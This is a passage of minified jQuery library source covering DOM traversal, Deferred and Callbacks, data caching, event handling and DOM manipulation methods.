r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);S.find=d,S.expr=d.selectors,S.expr[":"]=S.expr.pseudos,S.uniqueSort=S.unique=d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&S(e).is(n))break;r.push(e)}return r},T=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},k=S.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1<i.call(n,e)!==r}):S.filter(n,e,r)}S.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?S.find.matchesSelector(r,e)?[r]:[]:S.find.matches(e,S.grep(t,function(e){return 1===e.nodeType}))},S.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(S(e).filter(function(){for(t=0;t<r;t++)if(S.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)S.find(e,i[t],n);return 1<r?S.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&k.test(e)?S(e):e||[],!1).length}});var D,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(S.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&S(e);if(!k.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&S.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?S.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?i.call(S(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(S.uniqueSort(S.merge(this.get(),S(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),S.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return h(e,"parentNode")},parentsUntil:function(e,t,n){return h(e,"parentNode",n)},next:function(e){return O(e,"nextSibling")},prev:function(e){return O(e,"previousSibling")},nextAll:function(e){return h(e,"nextSibling")},prevAll:function(e){return h(e,"previousSibling")},nextUntil:function(e,t,n){return h(e,"nextSibling",n)},prevUntil:function(e,t,n){return h(e,"previousSibling",n)},siblings:function(e){return T((e.parentNode||{}).firstChild,e)},children:function(e){return T(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(A(e,"template")&&(e=e.content||e),S.merge([],e.childNodes))}},function(r,i){S.fn[r]=function(e,t){var n=S.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=S.filter(t,n)),1<this.length&&(H[r]||S.uniqueSort(n),L.test(r)&&n.reverse()),this.pushStack(n)}});var P=/[^\x20\t\r\n\f]+/g;function R(e){return e}function M(e){throw e}function I(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}S.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},S.each(e.match(P)||[],function(e,t){n[t]=!0}),n):S.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(arguments,function(e,t){var n;while(-1<(n=S.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<S.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},S.extend({Deferred:function(e){var o=[["notify","progress",S.Callbacks("memory"),S.Callbacks("memory"),2],["resolve","done",S.Callbacks("once memory"),S.Callbacks("once memory"),0,"resolved"],["reject","fail",S.Callbacks("once memory"),S.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return S.Deferred(function(r){S.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,R,s),l(u,o,M,s)):(u++,t.call(e,l(u,o,R,s),l(u,o,M,s),l(u,o,R,o.notifyWith))):(a!==R&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){S.Deferred.exceptionHook&&S.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==M&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(S.Deferred.getStackHook&&(t.stackTrace=S.Deferred.getStackHook()),C.setTimeout(t))}}return S.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:R,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:R)),o[2][3].add(l(0,e,m(n)?n:M))}).promise()},promise:function(e){return null!=e?S.extend(e,a):a}},s={};return S.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=S.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;S.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&W.test(e.name)&&C.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},S.readyException=function(e){C.setTimeout(function(){throw e})};var F=S.Deferred();function $(){E.removeEventListener("DOMContentLoaded",$),C.removeEventListener("load",$),S.ready()}S.fn.ready=function(e){return F.then(e)["catch"](function(e){S.readyException(e)}),this},S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)||(S.isReady=!0)!==e&&0<--S.readyWait||F.resolveWith(E,[S])}}),S.ready.then=F.then,"complete"===E.readyState||"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(S.ready):(E.addEventListener("DOMContentLoaded",$),C.addEventListener("load",$));var B=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)B(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[X(t)]=n;else for(r in t)i[X(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][X(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(X):(t=X(t))in r?[t]:t.match(P)||[]).length;while(n--)delete r[t[n]]}(void 0===t||S.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!S.isEmptyObject(t)}};var Y=new G,Q=new G,J=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,K=/[A-Z]/g;function Z(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(K,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:J.test(i)?JSON.parse(i):i)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}S.extend({hasData:function(e){return Q.hasData(e)||Y.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return Y.access(e,t,n)},_removeData:function(e,t){Y.remove(e,t)}}),S.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=Q.get(o),1===o.nodeType&&!Y.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=X(r.slice(5)),Z(o,r,i[r]));Y.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){Q.set(this,n)}):B(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=Q.get(o,n))?t:void 0!==(t=Z(o,n))?t:void 0;this.each(function(){Q.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){Q.remove(this,e)})}}),S.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Y.get(e,t),n&&(!r||Array.isArray(n)?r=Y.access(e,t,S.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=S.queue(e,t),r=n.length,i=n.shift(),o=S._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){S.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Y.get(e,n)||Y.access(e,n,{empty:S.Callbacks("once memory").add(function(){Y.remove(e,[t+"queue",n])})})}}),S.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?S.queue(this[0],t):void 0===n?this:this.each(function(){var e=S.queue(this,t,n);S._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&S.dequeue(this,t)})},dequeue:function(e){return this.each(function(){S.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=S.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=Y.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var ee=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,te=new RegExp("^(?:([+-])=|)("+ee+")([a-z%]*)$","i"),ne=["Top","Right","Bottom","Left"],re=E.documentElement,ie=function(e){return S.contains(e.ownerDocument,e)},oe={composed:!0};re.getRootNode&&(ie=function(e){return S.contains(e.ownerDocument,e)||e.getRootNode(oe)===e.ownerDocument});var ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&ie(e)&&"none"===S.css(e,"display")};function se(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return S.css(e,t,"")},u=s(),l=n&&n[3]||(S.cssNumber[t]?"":"px"),c=e.nodeType&&(S.cssNumber[t]||"px"!==l&&+u)&&te.exec(S.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)S.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,S.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ue={};function le(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=Y.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ae(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ue[s])||(o=a.body.appendChild(a.createElement(s)),u=S.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ue[s]=u)))):"none"!==n&&(l[c]="none",Y.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}S.fn.extend({show:function(){return le(this,!0)},hide:function(){return le(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?S(this).show():S(this).hide()})}});var ce,fe,pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),v.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</textarea>",v.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="<option></option>",v.option=!!ce.lastChild;var ge={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)Y.set(e[n],"globalEval",!t||Y.get(t[n],"globalEval"))}ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td,v.option||(ge.optgroup=ge.option=[1,"<select multiple='multiple'>","</select>"]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===w(o))S.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+S.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;S.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<S.inArray(o,r))i&&i.push(o);else if(l=ie(o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}var be=/^([^.]*)(?:\.(.+)|)/;function we(){return!0}function Te(){return!1}function Ce(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function Ee(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Ee(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Te;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=S.guid++)),e.each(function(){S.event.add(this,t,i,r,n)})}function Se(e,i,o){o?(Y.set(e,i,!1),S.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Y.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(S.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Y.set(this,i,r),t=o(this,i),this[i](),r!==(n=Y.get(this,i))||t?Y.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n&&n.value}else r.length&&(Y.set(this,i,{value:S.event.trigger(S.extend(r[0],S.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Y.get(e,i)&&S.event.add(e,i,we)}S.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=Y.get(t);if(V(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&S.find.matchesSelector(re,i),n.guid||(n.guid=S.guid++),(u=y.events)||(u=y.events=Object.create(null)),(a=y.handle)||(a=y.handle=function(e){return"undefined"!=typeof S&&S.event.triggered!==e.type?S.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(P)||[""]).length;while(l--)d=g=(s=be.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=S.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=S.event.special[d]||{},c=S.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&S.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),S.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=Y.hasData(e)&&Y.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(P)||[""]).length;while(l--)if(d=g=(s=be.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=S.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||S.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)S.event.remove(e,d+t[l],n,r,!0);S.isEmptyObject(u)&&Y.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=S.event.fix(e),l=(Y.get(this,"events")||Object.create(null))[u.type]||[],c=S.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=S.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((S.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<S(i,this).index(l):S.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(S.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[S.expando]?e:new S.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click",we),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,"input")&&Y.get(t,"click")||A(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},S.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},S.Event=function(e,t){if(!(this instanceof S.Event))return new S.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?we:Te,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&S.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[S.expando]=!0},S.Event.prototype={constructor:S.Event,isDefaultPrevented:Te,isPropagationStopped:Te,isImmediatePropagationStopped:Te,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=we,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=we,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=we,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},S.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},S.event.addProp),S.each({focus:"focusin",blur:"focusout"},function(t,e){S.event.special[t]={setup:function(){return Se(this,t,Ce),!1},trigger:function(){return Se(this,t),!0},_default:function(e){return Y.get(e.target,t)},delegateType:e}}),S.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){S.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||S.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),S.fn.extend({on:function(e,t,n,r){return Ee(this,e,t,n,r)},one:function(e,t,n,r){return Ee(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,S(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Te),this.each(function(){S.event.remove(this,e,n,t)})}});var ke=/<script|<style|<link/i,Ae=/checked\s*(?:[^=]|=\s*.checked.)/i,Ne=/^\s*<!\[CDATA\[|\]\]>\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)S.event.add(t,i,s[i][n]);Q.hasData(e)&&(o=Q.access(e),a=S.extend({},o),Q.set(t,a))}}function He(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&"string"==typeof d&&!v.checkClone&&Ae.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),He(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=S.map(ye(e,"script"),De)).length;c<f;c++)u=e,c!==p&&(u=S.clone(u,!0,!0),s&&S.merge(a,ye(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,S.map(a,qe),c=0;c<s;c++)u=a[c],he.test(u.type||"")&&!Y.access(u,"globalEval")&&S.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):b(u.textContent.replace(Ne,""),u,l))}return n}function Oe(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||S.cleanData(ye(r)),r.parentNode&&(n&&ie(r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}S.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(v.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||S.isXMLDoc(e)))for(a=ye(c),r=0,i=(o=ye(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ye(e),a=a||ye(c),r=0,i=o.length;r<i;r++)Le(o[r],a[r]);else Le(e,c);return 0<(a=ye(c,"script")).length&&ve(a,!f&&ye(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEvent(n,r,t.handle);n[Y.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),S.fn.extend({detach:function(e){return Oe(this,e,!0)},remove:function(e){return Oe(this,e)},text:function(e){return B(this,function(e){return void 0===e?S.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return He(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||je(this,e).appendChild(e)})},prepend:function(){return He(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=je(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(S.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return 